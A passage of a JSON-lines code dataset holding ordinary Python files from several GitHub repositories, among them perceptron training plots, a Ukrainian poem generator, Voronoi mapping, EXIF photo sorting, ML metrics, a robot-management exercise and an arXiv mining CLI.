testAcc[1:]\nplt.plot(x_axis_values, y_axis_values, label=f'Test')\nplt.title(f'Accuracy para diferentes tamaños del conjunto de entrenamiento')\nplt.xlabel(\"Porcentaje del total\")\nplt.ylabel(\"Accuracy\")\nplt.legend()\nplt.show()\n\nks = [20, 100, 180]\nperceptron.learnRate = 0.001\nfor k in ks:\n trainSet = trainData[:int(k)]\n testSet = trainData[int(k):]\n trainOutput = output[:int(k)]\n trainOutputNormalized = normalize(trainOutput)\n testOutput = output[int(k):]\n perceptron.trainingData = trainSet\n perceptron.expectedOutput = trainOutputNormalized\n perceptron.error_min = numpy.inf\n perceptron.w_min = numpy.zeros(len(trainData[0]))\n accuracy = numpy.zeros(500)\n accuracyTraining = numpy.zeros(500)\n for i in range(500):\n perceptron.algorithm(100)\n print(\n f'w min: {perceptron.w_min}, error min: {perceptron.error_min}, denormalized error min: {perceptron.min_errors_denormalize[-1]}')\n accuracyTraining[i] = calcAccuracy(trainSet, trainOutput, perceptron.w_min, sigmoidTanhActivationFunc)\n accuracy[i] = calcAccuracy(testSet, testOutput, perceptron.w_min, sigmoidTanhActivationFunc)\n x_axis_values = range(500)\n y_axis_values = accuracyTraining\n plt.plot(x_axis_values, y_axis_values, label=\"Entrenamiento\")\n y_axis_values = accuracy\n plt.plot(x_axis_values, y_axis_values, label=\"Test\")\n porc = int(k / 2)\n plt.title(f'Accuracy vs época para {porc}%')\n plt.xlabel(\"Época\")\n plt.ylabel(\"Accuracy\")\n plt.legend()\n plt.show()\n\nlimInf = 0\nlimSup = int(len(trainData) / 5)\naccuracy = numpy.zeros(10)\ni = 0\nwhile limSup <= len(trainData):\n print(f'limInf = {limInf}, limSup = {limSup}')\n testSet = trainData[limInf:limSup]\n trainSet = trainData[:limInf] + trainData[limSup:]\n testOutput = output[limInf:limSup]\n trainOutput = output[:limInf] + output[limSup:]\n trainOutputNormalized = normalize(trainOutput)\n perceptron.trainingData = trainSet\n perceptron.expectedOutput = trainOutputNormalized\n perceptron.error_min = numpy.inf\n perceptron.w_min = numpy.zeros(len(trainData[0]))\n perceptron.algorithm(5000)\n accuracy = calcAccuracy(testSet, testOutput, perceptron.w_min, sigmoidTanhActivationFunc)\n print(accuracy)\n limSup += int(len(trainData) / 5)\n limInf += int(len(trainData) / 5)\n","repo_name":"ManuelDizen/SIA","sub_path":"TP3 - Perceptron Simple y Multicapa/ex_2.py","file_name":"ex_2.py","file_ext":"py","file_size_in_byte":5778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"25506826819","text":"import sql\nfrom sql import Word\nimport numpy as np\nfrom dictionary import Dictionary\n\n\nclass NoWordsError(Exception):\n pass\n\n\nclass PoemLine:\n def __init__(self, rhyme_symbol, syllables):\n self.rhyme_symbol = rhyme_symbol\n self.syllables = syllables\n self.words = None\n\n def __str__(self):\n return ' '.join([w.name if w is Word else w[0] for w in self.words])\n\n\nclass MorphUnit:\n def __init__(self, part, info):\n if part is not None:\n self.part = part\n else:\n self.part = np.random.choice([\"іменник\", \"прикметник\", \"дієслово\", \"дієприслівник\", \"прислівник\"])\n if info is not None:\n self.info = info\n elif self.part == \"іменник\" or self.part == \"прийменник\":\n self.info = {\"vidm\": np.random.choice(range(1, 5)),\n 'gender': np.random.choice(range(4))}\n elif self.part == \"дієслово\":\n self.info = {\"persons\": np.random.choice(range(3)),\n \"gender\": np.random.choice(range(4)),\n \"time\": np.random.choice(range(3))}\n else:\n self.info = dict()\n\n def generate_another(self):\n if self.part == \"іменник\":\n return MorphUnit(part=\"прикметник\", info=self.info)\n elif self.part == \"прикметник\":\n part = np.random.choice([\"прикметник\", \"дієприслівник\", \"прислівник\"])\n if part == \"прикметник\":\n info = self.info\n else:\n info = dict()\n return MorphUnit(part=part, info=info)\n\n elif self.part == \"дієслово\":\n part = np.random.choice([\"іменник\", \"дієприслівник\", \"прислівник\"])\n\n return MorphUnit(part=part, info=None)\n else:\n part = np.random.choice([\"дієприслівник\", \"прислівник\"])\n return MorphUnit(part=part, info=None)\n\n\ndef split_syllables_into_words(syllables):\n syllables = list(syllables)\n word_count = syllables.count(\"/\")\n result = []\n current_word = []\n for syllable in syllables:\n if current_word.__contains__('/') and len(result) < word_count - 1 and (\n syllable == '/' or np.random.randint(2) == 0):\n result.append(''.join(current_word))\n current_word = [syllable]\n else:\n current_word.append(syllable)\n result.append(''.join(current_word))\n return result\n\n\ndef make_rhymed_lines(poem_lines, max_attempts):\n attempts = 0\n session = sql.DBSession()\n while attempts < max_attempts:\n try:\n tail = None\n word_lines = []\n for poem_line in poem_lines:\n\n syllable_words = split_syllables_into_words(poem_line.syllables)\n word_line = []\n for i_word, syllable_word in reversed(list(enumerate(syllable_words))):\n\n query = session.query(Word).filter(Word.syllables == syllable_word)\n if i_word == len(syllable_words) - 1 and tail is not None:\n query = query.filter(Word.tail == tail)\n query_result = query.all()\n if not query_result:\n raise NoWordsError\n word = query_result[np.random.randint(len(query_result))]\n\n word_line.append(word)\n if i_word == len(syllable_words) - 1:\n tail = word.tail\n if i_word == 0:\n word_lines.append(list(reversed(word_line)))\n for i, poem_line in enumerate(poem_lines):\n poem_line.words = word_lines[i]\n return\n except NoWordsError:\n attempts += 1\n raise NoWordsError\n\n\ndef generate_poem(words_to_include, syllables_template, rhyme_template, max_attempts):\n rhyme_template = list(rhyme_template)\n syllable_lines = syllables_template.split('\\n')\n\n poem_lines = []\n rhyme_dict = dict()\n for rhyme_symbol, syllable_line in zip(rhyme_template, syllable_lines):\n poem_line = PoemLine(rhyme_symbol=rhyme_symbol, syllables=syllable_line)\n poem_lines.append(poem_line)\n if rhyme_symbol in rhyme_dict:\n rhyme_dict[rhyme_symbol].append(poem_line)\n else:\n rhyme_dict[rhyme_symbol] = [poem_line]\n\n for rhyme_symbol in rhyme_dict:\n make_rhymed_lines(rhyme_dict[rhyme_symbol], max_attempts=max_attempts)\n\n return '\\n'.join([str(line) for line in poem_lines])\n\n\ndef get_morph(n_words):\n if n_words < 2:\n raise ValueError\n gender = np.random.choice(range(4))\n result = [MorphUnit(part=\"іменник\",\n info={\"vidm\": 0,\n 'gender': gender}),\n MorphUnit(part=\"дієслово\",\n info={'gender': gender,\n \"persons\": 2, # np.random.choice(range(3)),\n \"time\": np.random.choice(range(3))})]\n np.random.shuffle(result)\n weights = dict(zip([\"іменник\", \"прикметник\", \"д��єслово\", \"дієприслівник\", \"прислівник\"], [5, 4, 5, 1, 1]))\n while len(result) < n_words:\n weights_result = [weights[x.part] for x in result]\n weights_result = np.array(weights_result)\n weights_result = weights_result / np.ndarray.sum(weights_result)\n index = np.random.choice(range(len(result)), p=weights_result)\n offset = np.random.choice([0])\n result.insert(index + offset, result[index].generate_another())\n return result\n\n\ndef make_rhymed_lines_new(poem_lines, max_attempts, words_to_include):\n attempts = 0\n session = sql.DBSession()\n while attempts < max_attempts:\n try:\n tail = None\n word_lines = []\n included_words_to_include = []\n for poem_line in poem_lines:\n\n syllable_words = split_syllables_into_words(poem_line.syllables)\n morph_words = get_morph(len(syllable_words))\n word_line = []\n for i_word, syllable_word in reversed(list(enumerate(syllable_words))):\n morph_unit = morph_words[i_word]\n query_result = _d.get_words(part=morph_unit.part, info=morph_unit.info,\n ending=tail if i_word == len(syllable_words) - 1 else None,\n syllables=syllable_word)\n\n if not query_result:\n raise NoWordsError\n words_to_use = set([x for x in (set(words_to_include.keys()) - set(included_words_to_include)) if not words_to_include[x]])\n weights = [float(len(query_result) ** 10) if res[1] in words_to_use else 1 for\n res in query_result]\n weights = np.array(weights)\n weights = weights / np.ndarray.sum(weights)\n\n index = np.random.choice(range(len(query_result)), p=weights)\n word = query_result[index]\n if word[1] in words_to_include:\n included_words_to_include.append(word[1])\n word_line.append(word)\n if i_word == len(syllable_words) - 1:\n # pass\n tail = word[2]\n if i_word == 0:\n word_lines.append(list(reversed(word_line)))\n for i, poem_line in enumerate(poem_lines):\n poem_line.words = word_lines[i]\n for word in included_words_to_include:\n words_to_include[word] = True\n return\n except NoWordsError:\n attempts += 1\n raise NoWordsError\n\n\ndef generate_poem_new(words_to_include, syllables_template, rhyme_template, max_attempts):\n attempts = 0\n while attempts < max_attempts:\n try:\n words_to_include_new = [(_d.get_word_indices(w[0]), w[1]) if isinstance(w, tuple) else (_d.get_word_indices(w), None) for w in words_to_include]\n words_to_include_new = [(w[0][w[1]] if w[1] and w[1] in w[0] else list(w[0].values())[0]) for w in words_to_include_new]\n words_to_include_new = dict([(word, False) for word in words_to_include_new])\n rhyme_template = list(rhyme_template)\n syllable_lines = syllables_template.split('\\n')\n\n poem_lines = []\n rhyme_dict = dict()\n for rhyme_symbol, syllable_line in zip(rhyme_template, syllable_lines):\n poem_line = PoemLine(rhyme_symbol=rhyme_symbol, syllables=syllable_line)\n poem_lines.append(poem_line)\n if rhyme_symbol in rhyme_dict:\n rhyme_dict[rhyme_symbol].append(poem_line)\n else:\n rhyme_dict[rhyme_symbol] = [poem_line]\n\n for rhyme_symbol in rhyme_dict:\n make_rhymed_lines_new(rhyme_dict[rhyme_symbol], max_attempts=max_attempts,\n words_to_include=words_to_include_new)\n for w in words_to_include_new:\n if not words_to_include_new[w]:\n raise NoWordsError\n\n return '\\n'.join([str(line) for line in poem_lines])\n except NoWordsError:\n attempts += 1\n raise NoWordsError\n\n\ndef generate_syllables(rhyme_template, base, mean_count, disp_count, prob_no_stress, prob_truncate):\n lines = []\n n_lines = len(rhyme_template)\n for _ in range(n_lines):\n line = \"\"\n for _ in range(max(int(np.random.normal(mean_count, disp_count)), 3)):\n to_append = base\n if np.random.rand() < prob_no_stress:\n to_append = to_append.replace(\"/\", \"_\")\n line += to_append\n for _ in range(len(base) - 1):\n if np.random.random() < prob_truncate:\n line = line[:-1]\n else:\n break\n\n lines.append(line)\n tails = dict()\n for i, (rhyme_symbol, line) in enumerate(zip(rhyme_template, lines)):\n tail_count = len(line) % len(base)\n if tail_count == 0:\n tail_count = len(base)\n if rhyme_symbol in tails:\n lines[i] = line[:-tail_count] + tails[rhyme_symbol]\n else:\n tails[rhyme_symbol] = line[-tail_count:]\n return \"\\n\".join(lines)\n\n_d = Dictionary()\n# np.random.seed(0)\n# session = sql.DBSession()\n# query = session.query(Word)\n# result = query.all()\n# print(len(result))\n# # for w in map(lambda x: x.name, result):\n# # print(w)\n# print(generate_poem_new(words_to_include=[],\n# syllables_template= \"/__/__/_\\n\"+\n# \"/__/__/\\n\" +\n# \"/__/__/_/__/__/\\n\" +\n# \"/__/__/_\\n\" +\n# \"/__/__/\\n\" +\n# \"/__/__/_\\n\" +\n# \"___/__/\"\n#\n# ,\n# rhyme_template='abbcdcd',\n# max_attempts=50000))\n# print(generate_poem_new(words_to_include='',\n# syllables_template=\"_/_/_/_/\\n\" +\n# \"_/_/___/_\\n\" +\n# \"_/_/___/_\\n\" +\n# \"_/_/___/\"\n#\n# ,\n# rhyme_template='abba',\n# max_attempts=5000))\nrhyme_template = \"abbaсddc\"#\"abbacddceddefgge\"\nsyllables_template = generate_syllables(rhyme_template=rhyme_template, base=\"/_\", mean_count=4, disp_count=0.3, prob_no_stress=0.1, prob_truncate=0.3)\nprint(syllables_template)\nprint(generate_poem_new(words_to_include=[\"річка\", (\"тече\", \"дієслово\"), \"озеро\", \"вода\"],\n syllables_template=syllables_template,\n rhyme_template=rhyme_template,\n max_attempts=5000))\n\n# \"/__/__/_\\n\"+\n# \"/__/__/\\n\" +\n# \"/__/__/_/__/__/\\n\" +\n# \"/__/__/_\\n\" +\n# \"/__/__/\\n\" +\n# \"/__/__/_\\n\" +\n# \"___/__/\"\n#\n# 'abbcdcd'\n# В райдугу чайка летіла.\n# Хмара спливала на схід.\n# Може б, і ти захотіла: Чайці податися вслід?\n# Сонце на заході впало.\n# Райдуга згасла в імлі.\n# Темно і холодно стало\n# На неспокійній землі (Л. Первомайський).\n\n\n# \"_/_/_/_/\\n\"+\n# \"_/_/___/_\\n\" +\n# \"_/_/___/_\\n\"+\n# \"_/_/___/\"\n#\n# 'abba'\n#\n# Яких іще зазнаю кар?\n# Якими нетрями ітиму\n# Шляхами з Риму і до Криму\n# Під ґвалт і кпини яничар? (І. Світличний).\n","repo_name":"lesha300398/Poems","sub_path":"make_poems.py","file_name":"make_poems.py","file_ext":"py","file_size_in_byte":13071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"14147895491","text":"import pandas as pd\nimport numpy as np\nimport os\nfrom shapely.geometry import LineString, MultiPoint, mapping\nfrom scipy.spatial import Voronoi, ConvexHull\nimport fiona\nfrom fiona.crs import from_epsg\nimport shapely.ops\n\n\ndcsv = pd.read_csv('cleaned_Donors_record.csv', encoding = 'utf-8')\natt_lon_lat = dcsv.loc[:, ['longitude','latitude']].values\n\n\n\n# outSchema = {'geometry':'Point', 'properties':{'donors_iso3':'str'}}\n# # use WGS 84 , longlat , the kind of global use of Coordinate Reference System\n# crs = from_epsg(4326)\n#\n# list_out_bound_vertices = []\n# # get vertices of point outside bounded polygon\n# for p# oint in list_vertices:\n# if point.within(union_areas):\n# continue\n# else:\n# list_out_bound_vertices.append([point.x, point.y])\n#\n# conv = ConvexHull(list_out_bound_vertices)\n#\n# # use outbounded points to do contex hull analysis\n# conv = ConvexHull(list_out_bound_vertices)\n# conv_lines = [\n# LineString(conv.points[index])\n# for index in conv.neighbors\n# ]\n#\n# # lines.extend(conv_lines)\n#\n# # get a list of polygons of voronoi tesellation\n# # areas = list(shapely.ops.polygonize(lines))\n# areas = list(shapely.ops.polygonize(conv_lines))\n#\n\n\n# output them in shapefile\n# create a schema for ESRI shapefile\noutSchema = {'geometry':'Polygon', 'properties':{'donors_iso3':'str'}}\n# use WGS 84 , longlat , the kind of global use of Coordinate Reference System\ncrs = from_epsg(4326)\n\n# alternative : append some points with ( 5000, 5000) and other three corners\nextra_point = np.array([[5000, 5000], [5000, -5000], [-5000, -5000], [-5000, 5000]])\natt_lon_lat = np.concatenate((att_lon_lat, extra_point))\n\n\nvor = Voronoi(att_lon_lat)\n\nlines = [\n LineString(vor.vertices[line])\n for line in vor.ridge_vertices\n #if -1 not in line\n]\n\nareas = list(shapely.ops.polygonize(lines))\n\nwith fiona.collection('test_bounding_the_Timor2.shp', 'w', 'ESRI Shapefile', outSchema, crs) as output:\n for polygon in areas:\n attribute_each_polygon = {'donors_iso3': ''}\n output.write({\n 'properties': attribute_each_polygon,\n 'geometry': mapping(polygon)}\n )","repo_name":"eugeneYWang/fast_voronoi","sub_path":"TimorLesteAIMS_GeocodedResearchRelease_Level1_v1.4.1/test_bounding_the_Timor.py","file_name":"test_bounding_the_Timor.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"12057510084","text":"#!/usr/bin/python3\n# Categorize all files in the current specified directory using EXIF data.\n# AppliesTo: client\n# RemoveExtension: True\n# PublicPermissions: True\n\nimport argparse\nimport os\nimport EXIF\n\nparser = argparse.ArgumentParser(description='Categorize photos in a directory according to an exif item')\nparser.add_argument('--camera', dest='camera', default='NIKON D80',\n help='Camera string used to filter images')\nparser.add_argument('--exif', dest='exif', default='EXIF FocalLengthIn35mmFilm',\n help='EXIF attribute to categorize')\nparser.add_argument('--bin', dest='bin', \n help='Bin size to group integer attributes')\nparser.add_argument(dest='directory', metavar='DIR',\n help='Directory to search')\n\nCAMERA_EXIF = 'Image Model'\nPRINT_SPACING = 100\n\ndef print_dict(dic):\n \"\"\"Prints the keys and values in a dictionary in order.\"\"\"\n print(', '.join(['{}:{}'.format(k, dic[k]) for k in sorted(dic.keys())]))\n\nif __name__ == '__main__':\n args = parser.parse_args()\n results = {}\n index = 0\n for (dirpath, dirnames, filenames) in os.walk(args.directory):\n for filename in filenames:\n qualified_filename = os.path.join(dirpath, filename)\n try:\n f = open(qualified_filename, 'rb')\n exif_data = EXIF.process_file(f)\n if not exif_data:\n pass\n #print('No exif data found in ' + qualified_filename)\n elif CAMERA_EXIF not in exif_data:\n print('No camera model found in ' + qualified_filename)\n elif exif_data[CAMERA_EXIF].values.decode('utf-8') != args.camera:\n print('{} taken with {} not {}'.format(\n filename, exif_data[CAMERA_EXIF].values.decode('utf-8'), args.camera))\n elif args.exif not in exif_data:\n print('Attribute {} not found in {}'.format(args.exif, filename))\n else:\n index += 1\n values = exif_data[args.exif].values\n value = values[0] if len(values) == 1 else values\n #print('{} {} = {}'.format(filename, args.exif, value))\n if value not in results:\n results[value] = 1\n else:\n results[value] += 1\n if index % PRINT_SPACING == 0:\n print_dict(results)\n except IOError as e:\n print('Error reading {}: {}'.format(filename, e))\n print_dict(results)\n\n","repo_name":"jodysankey/scripts","sub_path":"categorize_exif.py","file_name":"categorize_exif.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"27008269008","text":"import numpy as np\nfrom scipy.spatial.distance import pdist\nfrom sklearn import metrics\n\n\ndef mmd_rbf(X, Y):\n \"\"\"\n MMD using rbf (gaussian) kernel (i.e., k(x,y) = exp(-gamma * ||x-y||^2 / 2)).\n Taken from: https://github.com/jindongwang/transferlearning\n\n Arguments:\n X {[n_sample1, dim]} -- [X matrix]\n Y {[n_sample2, dim]} -- [Y matrix]\n\n Returns:\n [scalar] -- [MMD value]\n \"\"\"\n # Median heuristic --- use some hold-out samples\n all_samples = np.concatenate([X[:50], Y[:50]], 0)\n pdists = pdist(all_samples)\n sigma = np.median(pdists)\n gamma=1/(sigma**2)\n\n XX = metrics.pairwise.rbf_kernel(X, X, gamma)\n YY = metrics.pairwise.rbf_kernel(Y, Y, gamma)\n XY = metrics.pairwise.rbf_kernel(X, Y, gamma)\n\n return XX.mean() + YY.mean() - 2 * XY.mean()\n\n\ndef accuracy(y_pred, y_true):\n try:\n y_pred, y_true = y_pred.detach().cpu().numpy(), y_true.cpu().numpy()\n finally:\n return np.mean(y_pred.argmax(1) == y_true).mean()*100\n\n\ndef nll(y_pred, y_true):\n \"\"\"\n Mean Categorical negative log-likelihood. `y_pred` is a probability vector.\n \"\"\"\n try:\n y_pred, y_true = y_pred.detach().cpu().numpy(), y_true.cpu().numpy()\n finally:\n return metrics.log_loss(y_true, y_pred)\n\n\ndef brier(y_pred, y_true):\n try:\n y_pred, y_true = y_pred.detach().cpu().numpy(), y_true.cpu().numpy()\n finally:\n def one_hot(targets, nb_classes):\n res = np.eye(nb_classes)[np.array(targets).reshape(-1)]\n return res.reshape(list(targets.shape)+[nb_classes])\n\n return metrics.mean_squared_error(y_pred, one_hot(y_true, y_pred.shape[-1]))\n\n\ndef calibration(pys, y_true, M=100):\n try:\n pys, y_true = pys.detach().cpu().numpy(), y_true.cpu().numpy()\n finally:\n # Put the confidence into M bins\n _, bins = np.histogram(pys, M, range=(0, 1))\n\n labels = pys.argmax(1)\n confs = np.max(pys, axis=1)\n conf_idxs = np.digitize(confs, bins)\n\n # Accuracy and avg. confidence per bin\n accs_bin = []\n confs_bin = []\n nitems_bin = []\n\n for i in range(M):\n labels_i = labels[conf_idxs == i]\n y_true_i = y_true[conf_idxs == i]\n confs_i = confs[conf_idxs == i]\n\n acc = np.nan_to_num(np.mean(labels_i == y_true_i), 0)\n conf = np.nan_to_num(np.mean(confs_i), 0)\n\n accs_bin.append(acc)\n confs_bin.append(conf)\n nitems_bin.append(len(labels_i))\n\n accs_bin, confs_bin = np.array(accs_bin), np.array(confs_bin)\n nitems_bin = np.array(nitems_bin)\n\n ECE = np.average(np.abs(confs_bin-accs_bin), weights=nitems_bin/nitems_bin.sum())\n MCE = np.max(np.abs(accs_bin - confs_bin))\n\n # In percent\n ECE, MCE = ECE*100, MCE*100\n\n return ECE, MCE\n","repo_name":"runame/laplace-refinement","sub_path":"utils/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"76"} +{"seq_id":"72391535286","text":"from project.services.base_service import BaseService\nfrom project.services.main_service import MainService\nfrom project.services.secondary_service import SecondaryService\nfrom project.robots.base_robot import BaseRobot\nfrom project.robots.male_robot import MaleRobot\nfrom project.robots.female_robot import FemaleRobot\n\nfrom typing import List\n\n\nclass RobotsManagingApp:\n VALID_SERVICE_TYPES = {\n 'MainService': MainService,\n 'SecondaryService': SecondaryService\n }\n\n VALID_ROBOT_TYPES = {\n 'MaleRobot': MaleRobot,\n 'FemaleRobot': FemaleRobot\n }\n\n def __init__(self):\n self.robots: List[BaseRobot] = []\n self.services: List[BaseService] = []\n\n def add_service(self, service_type: str, name: str):\n if service_type not in self.VALID_SERVICE_TYPES:\n raise Exception('Invalid service type!')\n\n new_service = self.VALID_SERVICE_TYPES[service_type](name)\n self.services.append(new_service)\n\n return f'{service_type} is successfully added.'\n\n def add_robot(self, robot_type: str, name: str, kind: str, price: float):\n if robot_type not in self.VALID_ROBOT_TYPES:\n raise Exception('Invalid robot type!')\n\n new_robot = self.VALID_ROBOT_TYPES[robot_type](name, kind, price)\n self.robots.append(new_robot)\n\n return f'{robot_type} is successfully added.'\n\n def add_robot_to_service(self, robot_name: str, service_name: str):\n robot = self._get_object_by_name(robot_name, self.robots)\n service = self._get_object_by_name(service_name, self.services)\n\n if not self._check_robot_and_service_types(robot, service):\n return 'Unsuitable service.'\n\n if len(service.robots) >= service.capacity:\n raise Exception('Not enough capacity for this robot!')\n\n self.robots.remove(robot)\n service.robots.append(robot)\n\n return f'Successfully added {robot_name} to {service_name}.'\n\n def remove_robot_from_service(self, robot_name: str, service_name: str):\n service = self._get_object_by_name(service_name, self.services)\n robot = self._get_object_by_name(robot_name, service.robots)\n\n if robot is None:\n raise Exception('No such robot in this service!')\n\n service.robots.remove(robot)\n self.robots.append(robot)\n\n return f'Successfully removed {robot_name} from {service_name}.'\n\n def feed_all_robots_from_service(self, service_name: str):\n service = self._get_object_by_name(service_name, self.services)\n number_of_robots_fed = len([r.eating() for r in service.robots])\n\n return f'Robots fed: {number_of_robots_fed}.'\n\n def service_price(self, service_name: str):\n service = self._get_object_by_name(service_name, self.services)\n total_price = sum([r.price for r in service.robots])\n\n return f'The value of service {service_name} is {total_price:.2f}.'\n\n def __str__(self):\n result = []\n [result.append(service.details()) for service in self.services]\n return '\\n'.join(result)\n\n @staticmethod\n def _check_robot_and_service_types(robot: BaseRobot, service: BaseService):\n if robot.__class__.__name__ == 'FemaleRobot' and service.__class__.__name__ != 'SecondaryService':\n return False\n if robot.__class__.__name__ == 'MaleRobot' and service.__class__.__name__ != 'MainService':\n return False\n return True\n\n @staticmethod\n def _get_object_by_name(name, collection):\n obj = [x for x in collection if x.name == name]\n return obj[0] if obj else None\n","repo_name":"StivanD/Sofutni-Python","sub_path":"03_python_advanced/OOP/12_exam_preparations/python_oop_exam_8_april_2023/structure_and_functionality/project/robots_managing_app.py","file_name":"robots_managing_app.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"4317530041","text":"from django.conf.urls import url\nfrom .. import views\n\napp_name = 'user'\nurlpatterns = [\n url(r'login/$',views.UserLoginView.as_view(),name='login'),\n url(r'register/$',views.UserRegisterView.as_view(),name='register'),\n url(r'system/(?P[0-9]+)/update/$',views.system_user_update.as_view(),name='system_user_update'),\n url(r'(?P[0-9]+)/update/$',views.user_update.as_view(),name='update'),\n url(r'logout/$',views.user_logout,name='logout'),\n url(r'head/$',views.head_pic_set.as_view(),name='head_set'),\n url(r'head/update/$',views.head_pic_update.as_view(),name='head_update'),\n url(r'info/$',views.myuser_info.as_view(),name='info'),\n url(r'system/create/$',views.create_system_user.as_view(),name='system_user_create'),\n url(r'system/list/$',views.system_user_list.as_view(),name='system_user_list'),\n url(r'permission/admin/authorized/(?P\\w+)/$',views.AdminAuthorized.as_view()),\n\n]","repo_name":"BeerLii/opsadmin","sub_path":"opsadmin/user/urls/user_url.py","file_name":"user_url.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"76"} +{"seq_id":"10773807107","text":"import network\nimport time\nsta_if = network.WLAN(network.STA_IF)\nsta_if.active(True)\nprint(\"Connect to WIFI wait 5s\")\nsta_if.connect('SSID', 'PWD')\ntime.sleep(5)\nprint(sta_if.ifconfig())\n\nimport uftpd\nuftpd.restart(21, 2)\n\n","repo_name":"straga/micropython_examples","sub_path":"ftp_dev/boot.py","file_name":"boot.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"12491614143","text":"\"\"\"\nThe Purpose Of this Script is To Connect to ArxivDatabase \nMine Records and Send them back to The DB. \n\"\"\"\nfrom arxiv_miner import \\\n MiningProcess\n\nimport click\nimport os\nfrom arxiv_miner.config import Config\nfrom arxiv_miner.cli import db_cli\nimport time\n\nDEFAULT_PATH = os.path.abspath('./mining_data/papers')\nDEFAULT_DETEX_PATH = os.path.abspath('./detex')\n\nDEFAULT_MINING_INTERVAL=5\nSLEEP_BETWEEEN_PORCS = 5\nDEFAULT_MINING_LIMIT=30\nDEFAULT_EMPTY_WAIT_TIME= 600\nDEFAULT_SLEEP_INTERVAL_COUNT = 50\nAPP_NAME = 'ArXiv-Miner'\nMINER_HELP = '''\n\nThe Purpose Of this Script is To Connect to ArxivDatabase,\nMine Records and Send them back to The DB. \n\n'''\n\n@db_cli.command(help=MINER_HELP)\n@click.option('--num_procs',default=1,help='Number Of Mining Processes To Start.')\n@click.option('--mining_data_path',default=DEFAULT_PATH,type=click.Path())\n@click.option('--forever', is_flag=True, help=\"Run the Miner Without any max Caps\")\n@click.option('--detex_path',default=DEFAULT_DETEX_PATH,help='Path To Detex Binary For Latex Processing')\n@click.option('--mining_interval',default=DEFAULT_MINING_INTERVAL,help='Interval in Seconds To Wait If a Paper Was Not Mined')\n@click.option('--mining_limit',default=DEFAULT_MINING_LIMIT,help='Maximum Number of Papers To Mine')\n@click.option('--empty_wait_time',default=DEFAULT_EMPTY_WAIT_TIME,help='Time To Wait if No Unmined Records Were Returned')\n@click.option('--sleep_interval_count',default=DEFAULT_SLEEP_INTERVAL_COUNT,help='The Process Will Sleep for `empty_wait_time` after `sleep_interval_count` records')\n@click.pass_context\ndef start_miner(ctx, # click context object: populated from db_cli\n num_procs,\n mining_data_path,\\\n forever=False,\n detex_path=DEFAULT_DETEX_PATH,\n mining_interval=5,\\\n mining_limit=30,\n empty_wait_time = 600,\n sleep_interval_count=DEFAULT_SLEEP_INTERVAL_COUNT\n ):\n if forever:\n mining_limit = None\n\n proc_list = []\n for i in range(num_procs):\n database_client = ctx.obj['db_class'](**ctx.obj['db_args']) # Create Database \n process = MiningProcess(database_client,\\\n mining_data_path,\\\n detex_path,\\\n mining_interval = mining_interval,\\\n mining_limit = mining_limit,\\\n empty_wait_time = empty_wait_time,\\\n sleep_interval_count=sleep_interval_count)\n process.start()\n proc_list.append(process)\n time.sleep(3)\n \n for p in proc_list:\n p.join()\n\n\nif __name__ == \"__main__\":\n db_cli()\n # run_wrapped_cli(db_cli,app_name=APP_NAME)","repo_name":"valayDave/arxiv-miner","sub_path":"scripts/mine_papers.py","file_name":"mine_papers.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"76"} +{"seq_id":"22092452719","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nclass QNetworkFC(nn.Module):\n def __init__(self,in_channels = 37, out_channels = 4, fc1_channels = 64, fc2_channels = 128, fc3_channels = 256):\n super(QNetworkFC, self).__init__()\n self.fc1 = nn.Linear(in_channels, fc1_channels)\n self.fc2 = nn.Linear(fc1_channels, fc2_channels)\n self.fc3 = nn.Linear(fc2_channels, fc3_channels)\n self.fc4 = nn.Linear(fc3_channels,fc2_channels)\n self.fc5 = nn.Linear(fc2_channels,fc1_channels)\n self.fc6 = nn.Linear(fc1_channels, out_channels)\n\n def forward(self,state):\n x1 = self.fc1(state)\n x = F.relu(x1)\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = F.relu(self.fc5(x))\n x = self.fc6(x + x1)\n return x\n\n","repo_name":"byebaibai/ProfolioOfBai","sub_path":"Reinforcement Learning/Navigation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72921999924","text":"# 문제 링크: https://www.acmicpc.net/problem/7581\n\nimport sys\n\nfor input in sys.stdin:\n l, w, h, v = map(int, input.split())\n if l + w + h + v == 0:\n break\n\n if l == 0:\n l = v // (w * h)\n elif w == 0:\n w = v // (l * h)\n elif h == 0:\n h = v // (l * w)\n else:\n v = l * w * h\n\n print(l, w, h, v)\n","repo_name":"jamesujeon/coding-problem-solutions","sub_path":"baekjoon/python 3/7581.py","file_name":"7581.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"26239711803","text":"# -*- coding: utf-8 -*-\n# catalog.urls\n\n\nfrom werkzeug.routing import (\n Map, Rule, Submount,\n EndpointPrefix, RuleTemplate,\n)\nimport catalog.views\n\ndef make_rules():\n return [\n EndpointPrefix('catalog/', [\n Rule('/', endpoint='index'),\n ]),\n ]\n\nall_views = {\n 'catalog/index': 